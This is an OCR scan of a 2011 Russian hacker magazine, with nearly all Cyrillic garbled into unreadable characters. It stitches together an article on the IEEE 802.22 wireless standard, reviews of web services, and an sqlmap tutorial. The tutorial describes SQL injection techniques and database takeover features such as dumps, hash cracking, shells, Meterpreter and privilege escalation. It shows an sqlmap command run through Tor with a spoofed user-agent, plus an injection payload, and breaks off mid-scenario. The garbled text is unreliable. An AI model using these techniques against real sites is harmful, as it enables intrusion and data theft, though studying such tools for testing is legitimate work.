PbIX OHU BYAYTMHTEPTIPETUPOBATLCS KaK IMLEH3UOHHbIE MOIb30BaTENN.
BceaTunapaMeTpbl BAVAIOT HayCNeWHOCTb NOAYYeHNSA JOCTOBEPHO
4aCTOTHOM ceTKM B pernoHe. bazoBas cTaHLMA MOXeT pacnpefensiTb Ha-
rpy3Ky Mex/yaboHeHTaMu Npu CKaHWPOBAHMN YaCTOTHOrO CNeKTpa.

EcnuocHoBHas 6a30Bas CTaHLMA JONT0 «MONYUT», TOTOrAa aboHeHT-
cKkoe 000py[i0BaHMe NLLEeT MasKW OT Lpyroii coceAHe CTaHLMM M B Clyyae
yCMeLHoro nouncka nofkJioyaeTcs K Heil. MofennpoBaHue ceTu nokasa-
110, 4T0 Aaxe Npu 60N1bLIOM CKOMIEHNM PAAOM PaCMoNoXKeHHbIX CTaHL Wi
TepMuHanblaboHeHToB 6biCTpo pacnpefensoTcs Mexay HuMu. B pesynb-
TaTe Harpy3kaHa 6a30Bble CTaHL MM CTAHOBUTCSA ONTUMabHOIA.

JTABHOEO CTAHOAPTE

e HasHayeHMe:WMPOKOMONOCHbI becnpoBOfHON AOCTYN K UHTEPHETY
AJ151 CeJIbCKOW MECTHOCTH.

e flapo:TexHONOrNs KOrHUTUBHOW pafnonepeayy, npefHasHauyeHHas 4s
6e3N1LEeH31OHHOr0 UCMOIb30BaHMSA YaCTOT TeIeBU3NOHHOIO Juana3oHa.

e [lopTaTMBHOCTb: MOXHO MCMO/b30BaTb B ABMKEHUN HA CKOPOCTU A0
114 KM/u.

* Tononorus cetu: MHorotoueuHas (Point-to-Multipoint).

e Papuyc3oHblnokpbitus: 10-100 kM (ans dukcvposaHHol 6a3osoi
CTaHuWV U MofeMa).

e MouwHocTb U3NyyeHus: 4 BT(noaMOLWHOCTbIO U3NyYeHUs NOHUMAETCS
3G GEKTUBHASA M30TPONHO U3/Ty4aemas MoLHoCTb, EIRP).

e AHTeHHbI: Ha 63a30B0¥I CTaHLWW UCNOb3YeTCs HeHanpasieHHas (n1bo
CeKTopHas) npueMonepeatoLias aHTeHHa, a Ha CTopoHe aboHeHTa
HarnpaBfieHHas aHTeHHa; MOMUMO 3TOr0, eCTb HEHanpaBfieHHast aHTeHHa
A5 CKAHMPOBAHMSA YaCTOTHOT0 Anana3oHa (KOrHUTUBHAs pafuoCBA3b).

e TeonosuunoHmposanue: GPS nnnHazemHoe (Heob6xoaMMo ans GyHK-
LMOHWNPOBAHUA CUCTEMBI).
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PCZONE

Wi-Fi UMTS (3GSM) WiMax LTE 802.22
Cranpapt 802.119 ‘ 802.11n UMTS/W-CDMA 802.16d LTE 802.22
Onucanue Wi-Fi npeHa3sHayeH ans 3aMeHbl TexHonorns cotosoi TexHonorns Wwmpokono- TexHonorvs ssnsetca 802.22 sBnset-
NPOBOAHBIX NOKaNbHbIX ceTel. [To- CBA3M, KOTOPYO OTHOCAT JIOCHOA CBSI3W, KOTOPYIO OT- | pPa3BUTUEM JINHEKN cs becnpoBoaHo
ClefiHNe CTaHAapTbI N0 CKOPOCTH K nokoneruio 36. UMTS HocsT K ceTam 3.9G. WiMax CDMA-UMST-cTanaapToB. | TexHonoruem, kotopas
HWMYYTb He YCTynatT KabenbHbIM paclundpoBbIBaeTCH Kak ABASETCH AMHAMUYHO pa3- MocnepoBaTenbHOCTb B npefHasHayeHa Ans
aHanoram. B cemeiictee 802.11 Universal Mobile Telecom- | BuBatoLieiics BO BCEM MUpe | pa3BWTUM NO3BOJSET TEX- | OPraHM3aLiuu LWMPOKO-
bonee AByX AeCATKOB creLmnduka- munication System. TexHonorve. Abbpesnatypa | HOnoOruuM nerko afanTupo- | MOJOCHOrO [OCTYNa K
umit. Wi-Fi pacumndpoBbiBaeTcs Kak paclndpoBbIBaeTCH Kak BaTbCS Ha CYLLECTBYIOLMX | MHTEPHETY B MasoHa-
Wireless Fidelity («becnposoaHast Worldwide Interoperability UMTS-ceTsix. LTE OTHOCST | CeneHHo MecTHOCTH
TOYHOCTbY). for Microwave Access Kk ceTsiM 3.9G-noKoneHMs. | 1 CeNbCKMX paitoHax.
[«MexpyHapogHoe B3aumo- | LTE — Long Time basoBble cTaHLMK
neicTeme Ang MukposoaHo- | Evolution («[lonrospeMeH- | cnocobHbl nokpsisats
BOTO 40CTyNa»). Hoe pasBuTue»). bonbluve nnowaam ¢
1CMN0Nb30BaHUEM KOT-
HUTWUBHBIX TEXHONOT WA
NpumeHeHune Ceityac Wi-Fi-ycTpoiicTea BcTpoeHsl | UMTS sBasietcs camoit WiMax MoxHo Ha3BaTb Cetu LTE akTvBHO passu- Cneundukaums nossu-
BO MHOTMe MObU/bHbIE KOMMbIOTEPLI. | NONYASPHON TexHonorvelr | axanorom Wi-Fi, Ho B BalOTCA. YCMELHbIA NPOeKT | nacb HeflaBHO, NO3TOMY
CTaHpapT cTan nuaepom ae- MoBUbHBIX 3G-ceTeit. Macwrabax ropoga (WMAN). | peanusosar B Ocno (LUse- | Ha AaHHbIA MOMEHT HeT
bakTo B nepeaaye AaHHbIX MeXay CyLLecTByI0T B,ONOAHU- CTaHpapT cnocobeH Bbi- ums). KpynHe#wme coto- pa3BepHyTbIX CETeN.
NEepPeHOCHbLIMW YCTPOACTBAMM U AN | TeslbHble HAACTPOMKM HAL | CTynaTb Kak anbTepHaTMBa Bble 0MepaTopbl COBMECTHO
BbIX0/}a B UHTepHeT. B pe3ynbTate UMTS, nosBonstouwue yse- | DSL-coeguHenuto. Ha base co «Ckapten» (Yota) B
TOYKM OCTYNa B OFPOMHOM JINYUTB CKOPOCTb 06MeHa cneunuKaLmm peanusyT- | BAKaNLLEM BPEMEHM
KONIMYeCTBE MOKPbIBAIOT PaitoHbl naHHbiMu: HSPA, HSPA+, CSl CUCTEMbI, COBAMHAIOLLNE | NIAHWPYIOT pa3BepHyTb Mo
KPYMHbIX rOPOJ0B MUpa. HSDPA. Takue ceTv 0THO- | NoKasbHble ceTu, HanpuMep | Bcell Poccuu ceTs LTE Ha
AT K 3.5G-nokoneHuo. Ha ocHose Wi-Fi. 3aMeHy HblHe CyLLeCTBYl0-
LM TEXHONOMUSIM.
MobunbHocTb Her Het [a Her (Ho cywecTsyiot JIE] Het
MoBUNbHbIE crieundukaumu)
DanbHocTb 38-140 ™ 70-250 m 5KkM 4—b KM 5-100 km 30-100 km
1 T _7 .._Jl-‘l i
— = F _}
.
Yacrotbl 2,4TTy 2,4un5TTy 1885-2025 MTy, 2-11TTy, 700-4000 MI'y, 54-862 MI'y,
2110-2200 MI'y,
MakcuManbHas 54 Mbur/c 600 M6uT/c 2 Méur/c 75 Méur/c 173 Méur/c 23 Méur/c
CKOpOCTb
nepeiayu AaHHbIX
npuna kanana | 20 MIy, 20-40 My 5MIy 1,25-20 MI'y, 1,4-20 MI'y, 6-24 MT'y,
Dynnekc TDD TDD FDD FDD/TDD FDD/TDD 7DD
Hoctyn CSMA/CA OFDMA W-CDMA OFDMA OFDMA/SC-FDMA OFDMA
MIMO [a JIE] Het [la [a [la
Fop BbINycka 2003 2009 2001 2004 2009 2011
BbITb JIbHE BbITb? U3MEHEeHWN, a TakKe NpoLeflypa COBMECTHOr0 MCMOJIb30BaHUA CNeKTpa

IEEE802.22, nosiBUBLINIACS CPaBHUTENBbHO HeLlaBHO, NpuHec c coboit
HOBble MEXaHW3Mbl, KOTOPbIE MOTYT MO3BOJIUTL A0HECTU Ka4YeCTBEHHYI0
CBS3b [laXe B CaMble 0TAaNIeHHbIe YTOKU NNaHeTbl. YHUKaAbHBIA N0~
XO[, K peLLeH 10 BONpoCca 0 leSIeHNU 4aCTOTHOrO AMana3oHa, KoTopbIii B
PoccumctontocTpo, MoxeT caenatb 802.22 caMbiM pacnpocTpaHeHHbIM
cTaHfapToM becnpoBOAHON CBA3M LN18 NOKPbLITHS 60nbLUMX NAOWaAEN.
1N 3Toro npMMeHsI0TCA pacCMOTPEHHbIe B CTaTbe YaCTHOE CKaHMpoBa-
Hue paboyeroananasoHa, NOCTOSHHbLIA MOHUTOPUHE M OTCAEXMBaHNE
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CNNLEH3UOHHbIMW MONb30BaTeNAMN. Kak 3HaTb, BO3MOXHO, MIMEHHO 3T0
peLleHne Mo3BOAUT NOKPbITh HEOHBATHbIE MPOCTOPbI HaLLel pogUHbI
Ka4yeCTBEHHbIM MHTEpHEeTOM. [laxe eciu cTaHAAPT HE MONYUYUT LOSDKHOM
noAAepXKH, TO B OBOM CJlyyae c ero BbIX0LOM MOSABUIICS HOBbIA Mo~
X0/, KOTAa pa3Hble yCTPOWCTBA Pa3HbIX CTaHAAPTOB He GYHKLMOHUPYIOT
obocobneHHo, a B3anMoeicTBYIOT MeX Ay CObON 1 opraHn3oBbIBatoT
OKpY)Katoliee MpoCTPAHCTBO 4151 BbITOLHOM0 COBMECTHOTO UCMONb30Ba-
HWs. M 370 cBOErO poAa npopbiB. 3¢
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ENCIPHER.IT

FYa wma vy i fow avpts A

InswudpoBaHus coobieHnii B Niobbix ceppucax

ENCIPHER.IT

encipher.it

HasBaHue atoro cepeuca (aBepHee, fae JOMEHHOT0 UMeHN) roBOpUT camo 3a cebs: OH no-
3BonseT wWnpposaTb cooblieHns B nobom cepsuce: Gmail, Facebook n nobom fpyrom. Kak ato
paboTaeT? HanaHenb 3aknafok gobaBnsercsa cneynanbHblii BykMapk, KOTOPbIA Bbi3biBaeT
npocTeHbKyt GyHKLMIo Ha JavaScript, KoTopas KpUNTyeT BbIbpaHHbIN TeKCT c noMoLbio AES 256.
MepepwndpoBaHneMynonb3oBaTens 3anpallnBaeTcs napoabHas ppasa, kotopas ganee bypert
ncnonb3oBaTbes ANs pacwndposku. MonyyaeTcs reHnanbHo yLobHas cucTeMa, eCim HyKHO
3awndpoBaTh TEKCT, Hanpumep, B nucbMe Gmail. MpocTo BbIGUpaeM Teno coobuleHns, HaxuMa-
eMHa byKMapK — M TeKCTaBTOMaTUYeCKM MeHsieTcs Ha 3alundpoBaHHbIi. Eciivxe Tebe camomy
npuLLna 3akpUnToBaHHas Meccara, To ONsATh e NPOCTo Bbi3biBaeM bykMapK, BBOAUM Napoib—Mu
nofy4aeM TeKCT B OTKPbITOM BUAE.

BTDIGG

BTDigg.org

EcTbHeMano cepeucoB-arperaTopos, KOTOPble HAEKCUPYIOT TOPPEHTbI C CaMbIX Pa3HbIX TPEKEPOB U
npefocTaBAAOTYA00HbIN NoncK No HuM. BTDigg Toxe no3BonsieT Ha TV HYXHbI daiin B BitTorrent-
CeTU, Ho UCMob3yeT B KOPHE APYroi noaxo. 3o nouckosuk no DHT-cetn! HanoMHio, 4To nocnepHss
no3BossieT OpraHM3oBbIBaTh pa3fayn B BitTorerent-cetn 6e3tpekepasosce. [locyTn, aTo pacnpege-
SIEHHas CETb TOPPEHT-KIIMEHTOB, KOTOPARA XPaHUT MAEHTUdMKATOPLI (xeluu) Bcex Ny6anyHbIX pasgay
—T.H.magnet-IMHKOB, NpeacTaBnstowmx cobon 160-6utHoe cnyyanHoe yncno. BTDigg exeaHeBHO
nHaekcupyeT DHT-ceTb M N03BOISET MPOBOAUTL MOMCK MO MeTa-UHGOpPMaLK, CofepKalleics B
ntoboMTopppeHT-daiine. MoxxHO Aaxe UCMob30BaTh Kilo4eBble C10Ba 415 noucka: @name (nounck
noumerw pannal, @content (nouck no cogepxatuto).

Y L s e 1

BHT

[insi 3anycka Kopa Ha pasHbIX A3bIKax npsiMo B Gpaysepe

ideone B IDEONE

= ideone.com

MouckToppeHToBno DHT cetn

& ] ] Pa3 cToNKHYBLWMUCL C HEOOXOAMMOCTBIO CKOMIUANPOBATL B BUHAPHMK MPOCTEHLKUIA KOA,
T S Ha/l0/Ir0 3aNOMHKUA NpoeKTideone, KOTOPbLIV MeHs Toraa Bbipy4un. Mo cyTh, 3To OHNAH-

e KOMNUNATOP M oTNapunk ans bonee yeM 40 43bIKoB NporpaMmMupoBaHmns. [lpyrumm cnosamu,
MOXHO HabpocaTb Ko 1 3anycTuTb eronpsimo 8 bpaysepe. Mogaepxusatotcs C/C++, Java, C#,
Assembler, Objective C, Bce ckpunToBble a3bikyv (B ToM yucse Python) n gaxe accembnep. BaxHo
TONbKO YNOXKUTLCA B OrpaHnyeHus: 10 cekyHA Ha koMnuasumio, 15 cekyHa ecnv He 3apernctpu-
- poBaTbCs, TOToNbKO 5) Ha BbinoaHeHKe, 256 M6 namaTu. MoMUMO 3T0ro, NporpamMMa He CMoXeT
obpawaTbca B CeTbupaboTath c datnamu. MpoekTnpepocTaBnseT Takxe API, KoTopble akTUBHO
1CNOMb3YI0T ceityac NPUNoXKeHUs L5 pa3HbiX MOBUbHbIX NNaThOpPM.

TAGBEEP -
tagbeep.com tagBeep — e
HakoHeL-To i HalWeN Ty CUCTEMY 11 MOHUTOPWHIa XOCTOB, KOTOPast MeHs MOJIHOCTbio yCcTpanBa- bt
eT.ArosoptoobecnnaTHoM cepsuce tagBeep. CyTb cepBucanoHaTHas —npoBepsaTb paboTocno- R —— m
cobHoCTbBebH-CcepBepoB U YyBEfOMAATL O HaMYMM npobnem. TagBeep nocTpoeH npefenbHo npo- el [ep—

- —
CTO, HOMPY 3TOM NO3BONISET 3a/1aTh TOHKME MapamMeTpbl A5 NpoLeaypbl NpoBepkn. Hanpumep, - ——

i jrtepr=—r=¥

MOXHO [leTalbHO yKa3aTb, KaKO UMEHHO OTBETJOJKEH OTAaBaTh CepBep, a Kakoi — He [JOJIKeH.
Wnu, Kk npuMepy, 3a8aTb BPEMEHHON IMMUT Ha 3arpy3Ky cTpaHuubl (ckaxem, 10 cekyHa). TagBeep
yMeeT BU3yann3npoBaTb BpeMs OTKJINKA B BULLE KPaCUBbIX rPadUKOB, COXPAHAET CKPUHLLOTbI
cBoMX pob0TOB (B 11060/ MOMEHT MOXHO MOCMOTPETb, Kak Bbirnsaen cainT). ASMS-onoseuleHns,
Taycnyra, 3aKoTopyto Bce 06513aTeNbHO bepyTaeHexKM, 34eck noka becnnatHa.

e ST
T

— 2 e——

CynepnpocToiiMyao6HbIA MOHUTOPUHT XOCTOB
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Mupocnas Wrtamnap (miroslav.stampar@gmail.com)

Imap, nnw
[ -HBEKLN—

3TO MPOCTO

OAHA U3 JIYHLUUX
YTUNUT ANA NOUCKA
UIKCIMJTYATALUN
SQL-YA3BUMOCTEM

PaspaboTKoii ckaHepa 3aHUMaloTCA ABa YenoBeKa. Mupocnas Ltamnap
(@stamparm), npodeccnonanbHbIii paspabotynk copTamns Xopsatuu, nBbepHap-
polamene (@inquisb), koHcynbTaHT o UB 3 UTanum, ceityac NpoXnBatoLLuii
paboTtatowuit B Benukobpuranum. MpoekTnossuncaHaceeTs 2006 r.6naropaps
Nauuanio Bennyuu(@belch), Hono-HacTosALEMY CTPEMUTENBHO CTas pa3BUBaTb-
canocneToro, kakB2009r.BpaboTyBkouunuce Mupocnas ubepHapgo.
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UNION querySQLinjection
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Tak, yToTakoe sqlmap? OgHa U3 MOLLHEMLWIMX OTKPbLITBIX Y TUANT
M L5 NeHTecTepa, KOTopasi aBTOMaTU3MPYeT NPoLLeCC NOMUCKa n

akcnnyaTaunm SQL-uHBbEKUNI C Lenblo N3BAEYEHUS AaHHbIX UK
3axBaTayganeHHoroxocTa. Ytogenaetsqlmap OTAUYHBIM OT LPYrUXyTUANT
nns 06HapyxeHuns SQL-MHBbEKLMI, TaK 3TO BOZMOXHOCTb 3KCMIyaTMpPOBaTh
KaX Ayt HalLLeHHY0 yA3BMMOCTb. ITO 03HaYaeT, YTo sqlmap cnocobeH He
TOJIbKO HAX0UTb «[bIPKY», HO elLe 1 3al03aTb ee N0 NOJHOM NporpamMme. A
KOJIbY>K B KQ4eCTBE 3a[1a4U CTAaBUTCH UMEHHO IKCMyaTaLms ya3BUMOCTH,
TO CKaHepy NPUXOANTCS BbITb 0COBEHHO BHUMATENbHLIM K AeTaNsaM: OH He
OyneT BbIAAaBATb MUMISIMOH TOXKHbBIX CpabaTbiBaHWI «Tak, Ha BCAKWUI ClyYan»
(kaK 3T0 Mbl BUAWNM BO MHOTMX ApYTUX npuioxeHusx). Jliobas noteHymnanb-
Has ys3BMMOCTb AOMNONHUTESIBHO NPOBEPSETCSH HA BO3MOXKHOCTb IKCMya-
Tauumn. CkaHep M3 KOPOOKM MAET C OrPOMHbLIM GYHKLMOHANOM, Ha4YKHas 0T
BO3MOXHOCTM ONpeeNeHns CUCTeMbl ynipasieHus 6azol fanHbix (nanee
DBMS), cozganns gamna (Konum) gaHHbIX 1 3aKaHYMBas NoTyYeHneM 4o-
CTynak cucTeMe C BO3MOXKHOCTbI0 06pallaTbCst K MPOM3BOIbHLIM paitnam
Ha X0CTe VM BbIMOJIHATL Ha CepBepe NPOoMN3BOJIbHbIE KOMaHbl. M Bce-Taku
rnaBHoe —3T0 06HapyXeHWe BO3MOXHOCTU cienaTb UHbekumio SQL-koaa.

KAKUE YA3BVMOCTH

MOXET HAXOONTb SQLMAP?

EcTbnaTb ocHOBHbIX KNnaccoB SQL-MHbeKUMI, M BCe UX NOAEpXUBaeT

sqlmap:

e UNION querySQLinjection. Knaccuuyeckuit BapnaHT BHe4peHus
SQL-kopa, Korfa Bys3BUMbIV NapaMeTp NepefaeTcs BblpaxeHue,
HaunHatoweecs c «<UNIONALL SECECT». 3TaTexHuka paboTaer,
KorfaBeb-nNpunoxeHns HanpsMyto BO3BpaLLatloT pe3ynbTaT BbIBOAA
koMaHabl SELECT Ha cTpaHuuy: c ucnonb3oBaHueM unkna forununo-
X0XUMM CnocoboM, Tak 4TO Kax/jas 3annch nosyyeHHoi n3 B/ Bbibopku
nocnefoBaTeNbHO BIBOAUTCS Ha CTPaHULy. Sqlmap MoXeT Takxe 3Kc-
nayaTMpoBaTb CUTYaLMio, KOTAa BO3BPALLAeTCcs TONIbKO NepBasi 3anuch
n3 Bbibopku [Partial UNION query SQL injection).

e Error-basedSQLinjection.B cnyuaestoitataku ckaHep 3amMeHsieT
N pobaBnseT BysI3BUMbIA NapaMeTp CUHTAKCMYECKM HEMpaBUbHoe
BblpaxeHue, nocneveronapcut HTTP-oTseT(3aronoskn uteno) 8 no-
ncke ownbok DBMS, B koTopbix cogepxanach bbl 3apaHee M3BecTHas
MHBbEeLMpoBaHHasa Nocne0BaTeNbHOCTb CUMBOJIOB U FAE-TO «PALAOM»
BbIBOJ HA MHTEPECYILLMIA HAac NoA3anpoc. 3TaTeXHUKa paboTaeTToNb-
KO TOrga, Koraa Beb-npunoxeHue no KakMM-To npuynHam (Jauie scero
BUenaxoTnaaku) packpoisaetownbku DBMS.

e StackedqueriesSQLinjection.CkaHep npoBepsieT, noaaepx1BaeT I
Beb-npuIoXKeHVe NocejoBaTebHbIe 3aMpoChl, U, €CJIN OHW BbIMOJHSAOT-
csl, fobasnseT Bys3BuMblii napametp HTTP-3anpocatouky c3ansToi ;) u
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Boolean-basedblind SQL injection

cnefoMBHefpsieMbl SQL-3anpoc. 3ToTNpMeM B 0CHOBHOM UCMOSIb3YeTCs
nnssHeaperus SQL-komara, oTanyHblx oT SELECT, HanpuMep Ans MaHu-
nynauuu aaxHbiMu (c nomoubio INSERT nan DELETE). MpumMeyaTtensHo,
YTOTEXHMKA MOTEHLMATbHO MOXKET MPUBECTYH K BO3ZMOXHOCTU YTeHUs/
3anucn 3 GpannoBon CUCTEMBI, a Takxke BbiNonaHeHuo komana e OC.
lMpaBaa, B3aBUCUMOCTW OT UCNONb3YEMON B KayecTBe B3K-3HAa CUCTEMbI
ynpasneHus bazaMu AaHHbIX, @ TakXKe Nosb30BaTeNbCKUX NPUBUIIET WA,
¢ Boolean-basedblind SQLinjection. Peanusauus Tak HasbiBaeMoim
cnenov MHbekUun: fanHble n3 bl B «4ncTomM» BUAE ysd3BUMbIM Beb-
NPUNOXEHWEM HUTAe He Bo3BpalyatoTcs. [preM Tak ke HasbiBaeTcs
nenykTuBHbIM. Sqlmap fobaBnseTBys3BUMbIi napameTp HTTP-
3anpocacUHTaKCMYeCKM NPaBUIIbHO COCTABNIEHHOE BbIpaXKeHue,
conepxalee nogsanpoc SELECT (nnu nobyto apyryto komaHay ans
noslyyeHuns Bbi6opKku U3 6a3bl faHHbIx). [na KaX4oro nonyyYeHHoro
HTTP-oTBeTa BbinonHaeTca cpasHeHne headers/body cTpaHuubl
COTBETOM Ha M3HayasbHbI 3aNpoc—TakuM 06pasoMm, yTunanTa
MOXET CMMBOJ13a CMBOJIOM OMpeSeNINTb BbIBOJ BHELPEHHOTO
SQL-BbIpaxeHuns. BkayecTBe anbTepHaTUBbLI NONIb30BaTENb MOXET
npeAocTaBUTb CTPOKY UV PETYNSIPHOE BbIPaXeHWe N5 onpefenerus
«true»-cTpanuy (oTciofa v HasBaHue atakn). Anropntm 6uHapHoro

BHepPEeHHbIM KO,D,OM‘3,D,erTaK)Ke UCNONb3yeTCcAanropnuT™ ABOUYHOTO
noucka. KpOMeTOI’O, npuMmeHqaeTcqa cneunanbHbIi MeTOL ANS Bepun-
d)IAKaLI,VIVI AaHHbIX, l~IT06nyMeHl:>LLIVITt:: BEPOATHOCTb HEMPABUIIbHOIO
M3BeYeHNs CMMBOJIa U3-3a HeCcTabunbHOro coeAUHEHUS.

HecMoTpsiHaTo YTo cKaHep yMeeT aBTOMaTUYeCKM IKCNIyaTMpoBaTh
Hal4eHHbIe yA3BUMOCTU, HYXKHO AeTabHO NpefcTaBnaTh cebe Kaxayo
n3ncnonb3ayeMbix TexHuK. Ecnntema SQL-nHbekLuii Tebe noka 3HakoMa
TONBbKO Ha Nasbliax, pekoMeHAyto nonucTats apxue ][ uam npountats Ma-
Hyan Omutpua EeTeesa «SQAL Injection: OTA go S1» (bit.ly/pBSNVA). BaxHo
TakXXe NoHWMaThb, 4To ANns pa3Hblx DBMS peanusauyuuataku 3avacTyto
CWUAbHO OTAMYatoTcs. Bce aTu cnyyanymeeTtobpabatsiBaTh sqlmap uHa
LaHHbI MoMeHT noaaepxusaeT MySQL, Oracle, PostgreSQL, Microsoft
SQL Server, Microsoft Access, SQLite, Firebird, Sybase n SAP MaxDB.

ONLLUKN SQLMAP

LBuxok anaonpepenenns SQL-ya3suMocTert —nyckaii u camasi BaxHas,
HO BCe-TaKu He eINHCTBEHHAsA YacTb GyHKLUMoHana sqlmap. M npexpae yem
nokasaTb paboTy ckaHepa B AeNCTBUU, HE MOTY XOTS Bbl BKpaTLe, HO He
pacckasaTb 0 HekoTopbIX ero duwkax. Mtak, Bsqlmap peanvsosaHo:
M3BneyeHre uMeH noNb3oBaTeNel, XxeLlle X naponew, a Takxe npu-

ABTOMaTWYECKOE pacno3HaBaHme T1Na ucrnosb3yeMoro XxeLa v Bo3-
MOXHOCTb B3JT0Ma ero c moMolublo 6pyTdopca no cnosapio.
MonyyeHune cnucka bas faHHbIX, TabAUL U CTONOLOB.

B03MOXHOCTb CAeNaTh MOHbIA UM YaCTUYHbBIA LaMN Ha3bl AaHHbIX.

noncKa, peann3oBaHHbIii B sqlmap ANs BbINONHEHNS 3TOM TEXHUKMY, .
cnocobeH M3Bneyb Kax bl CUMBOJ BbIBOJ,@a MakCUMyM ceMblo HTTP- BUNIETMIA M MONEN.
3anpocamu. BToMcnyyae, Korpa BbIBOA COCTOMUT HE TONIbKO U3 00bIYHBIX o
CMMBOJIOB, CKaHep NoACTpanBaeTanropuT™ ans pabotel cbonee
LIMPOKMM ANana3oHoM CUMMBONOB (HanpuMep asis unicode’a). .
¢ Time-basedblind SQL injection.MonHocTblo cnenas uHbekwuns. TouHo .
TaK e Kak U B npefblAyLieM Cayyae, CKaHep «UrpaeT» Cys3BUMbIM o

napameTtpoM. HoB3ToM cnyyae fobaBnseTnof3anpoc, KOTopbli npu-
BoANTK nay3e paboTel DBMS Ha onpefeneHHoe KOIMYECTBO CEKYHT,
(Hanpumep, c nomouibio koMana SLEEP() unan BENCHMARKI()). Mcnonb-
3ys13Ty 0COHEHHOCTb, CKaHep MOXET MOCUMBOJIbHO U3BNEYb laHHbIE 13 3
B/[l, cpaBHMBas BpeMs 0TBETa HA OPUTMHANbHbI 3aNpocC U Ha 3anpoc ¢

SQL-MHBEKUNA: HYTO 3TO?

SQL-nHbeKLMs —3To aTaka, HanpaBaeHHas Ha Beb-npunoxeHue, B o
X0fie KOTOPOM KOHCTpynpyeTcs SAL-BbipaxeHne N3 N0ab30BaTENbCKOrO
BBOAA NyTeM NpocToil KoHKaHTeHauuu (Hanpumep, $query="SELECT *
FROM users WHERE id=".$_REQUEST["id"]). B ciyuaeycnexaaTtaKylowmnit
MOXeT M3MeHUTL I0rnKy BeinonHeHns SQL-3anpocaTak, kKak 3To eMy
HYXHO. Yale Bcero oH BbinonHseTnpocToii fingerprinting CYB [, a Takxe o
n3BfekaeTTabnuLbl c Hanboee «<MHTEPECHbIMU» MMeHaMu (Hanpumep
«users»).MocnesToro, B 3aBUCUMOCTY OT NPUBMIIETUI, C KOTOPbIMMU 3a-
MyLLeHo ysI3BUMOE MPUNTOXKEHUE, OH MOXKET 06paTUTLCSA K 3aLLULLEHHBIM
yacTaM 63k-3HAa Be6-npunoxerus (Hanpumep, npoynTats Ganns Ha
CTOPOHE XOCTa UM BbIMOJHNTb MPOU3BOJIbHbBIE KOMAHAbI).

XAKEP 10/153/2011

MpoABMHYTHIN MexaHW3M noucka bas, Tabnuy unu gaxe ctonbuos (no
BceM 6asaM cpa3y), YTo MoxKeT 6bITh MOIE3HO AN ONpefenieHus Ta-
61U, C <MHTEPECHBIMU» AaHHbLIMU BPOAE UMEH Nosib3oBaTesnel (users)
nnvnaponeii (pass).
3arpyskaunu, HaobopoT, 3akayka Npon3BObHbIX GaliioB Ha cepBep,
ecnnyassumoe Beb-npunoxeHne ncnonbsyet MySQL, MySQL,
PostreSQL nnu Microsoft SQL Server.
e BbinosHeHWe NPON3BOJIbHLIX KOMAHA W MOJYYEHNE LLeNNa, ECAN Ha XocTe
ncnonb3syetcsogHaus CYB[], nepeyncnenHbix B npefblayLleM nyHKTe.
o ToapepxkanpaMoro noakoyeHus K 6asze aaHHoix (6e3 aBHOrO UC-
nonb3osaHns SQL-ya3BnMocTH) c MCNonb30BaHNEM MOYYEHHbIX B
X0 aTakn MMeH 1 naposs nofb3osatens ans goctynak DMBS, a
Takxe IP-agpeca, nopTa uuMeHmn 6a3bl fLaHHbIX.
YctaHoBKa HagexHoro TCP-coeaunHenns (Tak HasbiBaeMoro out-of-
band) MexAy MalMHOM NeHTeCTepa U X0CTOM, Ha KOTOPOM 3anyLyeH
cepsep 6a3 faHHbIX. BkayecTBe 06epTkM 4N5 3TOrO KaHana MoxeT
cTaTb MHTEpPaKTHUBHas KoMaHAHas cTpoka (wennl, ceccua Meterpreter
unupocTynKynaneHHoMy paboyemy ctony yepesVNC-noaknoyeHuve.
MoBbllWeHWe NpuBUNErnin Ans npolecca basbl faHHbIX Yepe3 KOMaHay
getsystem Metasploit'a, koTopasi, TOMUMO NPOYUX, peanusyeT U3BecT-
Hyto TexHuKy kitrap0d (MS10-015).

Kak 0[jMH 13 aBTOPOB 3TOM Y TUIUTBI MOTY CKa3aTb: 3T0 eICTBUTESIBHO
XOPOLMWIA MHCTPYMEHT, CO3AaHHbI XakepaMu N5 xakepoB. M ox paboTaeT!
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MNPUCTYNAEM KIMNMPAKTUKE

YbeanTtbcs BaTOM Tebe MOMOryTHECKOIbKO MOMX cLieHapueB. 3To Hanbo-
nee TUMUYHbIE CUTYaLLMU, KOTOPbIe UCMOJb3YIT OCHOBHbIE BO3MOXHOCTH
sqlmap. K cnosy, Tbl ToXe MOXKeLLb CPa3y NpoBepuTb BECb GyHKLMOHAN
CKaHepa—Hanpumep, Ha cneunanbHo Co3[aHHOM TPEHMPOBOYHOM NpH-
noxeHnn o1 OWASP (www.owasp.org), B KOTOpOM HaMepeHHO BOCCO3AaHbl
MHOTME M3 0nacHblX olWKnboK nporpaMMucToB. TyTHAA0 CKa3aTb, YTO
sqlmap HanwucaH Ha Python'e, a3HauuT, Tbl CMOXKELLb 3aMyCTUTb €70 MOA
ntoboin OC. EanHcTBEHHOE TpeboBaHMe — 3TOyCTaHOB/EHHbIN B CUCTEME
UHTepnpeTaTop naToHa. BkayecTBe 06bekTa ANA TECTA HA MPOHUKHO-
BeHWe 7 byly UCNoNb30BaTh BUPTYasbHY MaLlNHY, Ha KOTOPO byaeT
KpyTUTbCA cTaH[apTHbI ctek LAMP (Linux/Apache/MySQL/PHP) BmecTe
CHECKONbKUMU YS3BUMbIMU BED-MPUI0XKEHUAMMU.

CLLEEHAPWW Ne 1

YCnoBMMCS, 4TO Mbl XOTUM NPO3KCMAYaTMPOBaTbYA3BUMOCTb, KoTopasi bbina
HalpeHa B GET-napameTpe «id» Beb-cTpaHuLbl, pacnofnoXeHHOR No agpecy
http://www.site.com/vuln.php?id=1(gnsykasanus URL bygetknoy -u).
YT0bbI CHU3UTL MOA03PUTENbHYI0 aKTUBHOCTb, Mbl ByleM MacK1pOBaTbCS NOA,
0bbluHbIT 6paysep (kNtoy --random-agent), a 419 NOAKNOYEHNA UCMONB30-
BaTb3alMweHHbIA kaHan TOR-ceTu (--tor). UTak, 3anyckaem sqlmap:

$ python sglmap.py -u "http://www.site.com/vuln.php?id=1"
--random-agent --tor

sqlmap/1.0-dev (r4365) — automatic SQL injection

and database takeover tool

CkaHep onpenennT HeCKOMbKO TOYeK 41 BbINOJHEHUS UHBEK LM B
17HTTP(S]-3anpocax. 06paTv BHUMaHMWe, 4TO AN KaXKAOM U3 HUX YKa3bl-
BaeTCsATUM, a TakXe Naioag.

Place: GET

Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind — WHERE or HAVING clause
Payload: id=1 AND 1826=1826

Type: error-based

Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause

